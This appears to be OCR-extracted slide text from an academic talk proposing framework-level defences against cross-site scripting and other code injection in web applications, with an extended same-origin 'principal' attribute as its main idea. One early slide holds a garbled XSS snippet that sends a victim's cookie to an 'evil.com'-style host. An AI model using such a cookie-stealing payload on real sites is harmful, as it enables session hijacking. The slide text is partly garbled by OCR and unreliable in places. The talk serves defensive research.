Using Web Application Construction

Frameworks to Protect Against

Code Injection Attacks




State of Web Application Security (Web 1.0)




Default is Unsafe!

'l\
“http://evil.con@tearcwokie.cgi?cookie=" +
escape(docume@.cookie)</script>

= Most vulnerabilities are coding bugs

= Making a mistake is very easy: default is often unsafe
= Getting things right requires non-trivial effort

= Can you blame the developer for getting it wrong?


http://victim.com/?username

Currently Developers Do All the Heavy Lifting



http://ha.ckers.org/xss.html

Enter Web 2.0...




Cross-site Scripting & Worms




Webmail Client (Dojo Toolkit)

E—f" Mail Account
.« [
T Sent Mail
| | Deleted
+H 0 Saved Mail

o]

Adam Arlen
Bob Baxter
Carrey Crown

David Davis

what color is good for the new office?

I A
] [
[
]

Let me know soon

today's meeting 2005-12-19
remaining work 2005-12-18
lunch 2005-12-17
paint 2005-12-16

<td background= ‘oS’
onmouseover=“showTooltip( ‘orchid”’)”’>

orchid



Feed Injection




Mash-up Page Isolation Boundaries
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Our Goal: Turn Things Around




End-to-End Web App Security Vision

Application code ‘: Most of the effort
applied here
Framework
libraries

Web application
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Client-side
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Per-widget
safe defaults

11



Client-Side Runtime Enforcement




Our Contributions




Same-Origin Policy: Good vs Evil

Frame 1: evil.com Frame 2: good.com

<html> <html>
<script> <div id="mydiv">
m = document. credit card :1234 5678 9012 3456
' </div>

host = evil.com | host = good.com
protocol = http - . . protocol = http
port = 8000 , port = 8000

<[script>
</html>




Same-Origin Lookup: Good vs Evil

host = evil.com
protocol = http [
port = 8000

<html>

<head>

host = good.com

protocol = http
port = 8000 |

<html> ’

<body>

<div>




Extending Same-Origin Policy: Same-Origin++




Blog with Comments

by User 856 (568564) on Sunday May 20, @03:06AM (#10126381)
(http://www.atomjax.com/)

The list is intended asan aid for both web application developers and professional security auditors.
Ok, so that covers China and Japan, but what about Europe and the US.?

Reply to This

Re:asian aid by MrObvious (Score:1) Sunday May 20, @03:13AM
1 reply beneath your current threshold.

Why is this needed at all? (Score:5, Insightful)

by Anonymous Coward on Sunday May 20, @03:15AM (#12126401)

If you just make sure you always use prepared QL statements with positional arguments, you will never have any problems with SQL injection.

| suppose the over-use of PHP (which for a long time didn't even support prepared statements (does it even do it today?)) combined with stupid users that created the current situation.

Reply to This

Re:Why is this needed at all? by koh (Score:2) Sunday May 20, @03:324M
Re:Why is this needed at all? by billcopc (Score:2) Sunday May 20, @10:18AM

Non Issue by encoderer (Score:2) Sunday May 20, @07:07PM

Re:Why is this needed at all? by neoform (Score:2) Sunday May 20, @04:054M

Re:Why is this needed at all? by ThwartedEfforts (Score:2) Sunday May 20, @04:14AM

Re:Why is this needed at all? (Score:S, Informative)

by mabinogi (74033) on Sunday May 20, @04:42AM (#19196665)
[http://cumulo-nimbus.com/)

It's the completely wrong answer to the problem though, as it still promotes the idea of using QL built by string concatenation.

The result being that 5QL injection is only one forgotten function call away.




Blog Code: HTML with Principals

<div principal="body’ >
Blog entries
<div principal="entry’>
today’s entry
<div principal=’comment’>
comment #1
</div>
<div principal=’comment’>
comment #2
</div>
</div>
<div principal=’entry’>
yesterday’s entry
</div>




Extended Same-Origin Lookup

\

principal=()
(same as http-only)

principal=(body)

principal=(body; entry) principal=(body; entry) principal=(body; entry)

principal=(body; entry; comment) principal=(body; entry; comment)



How Do We Make This the Default?




Web Applications are Built Using Frameworks

AJAX.NET
Dojo Toolkit
Prototype
Script.aculo.us
Yahoo! Ul

FRAMEWORKS FEATURES

Text box

Text area
Drop-down list
Check-boxes
Trees
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Declaring a Isolated Content Pane

<div id="contentPane" dojoType="ContentPane"
sizeMin="20" sizeShare="80"
href="Mail/MailAccount.html®“>

</div>

<div principal=‘contentPane$1’>

</div>




Conclusions




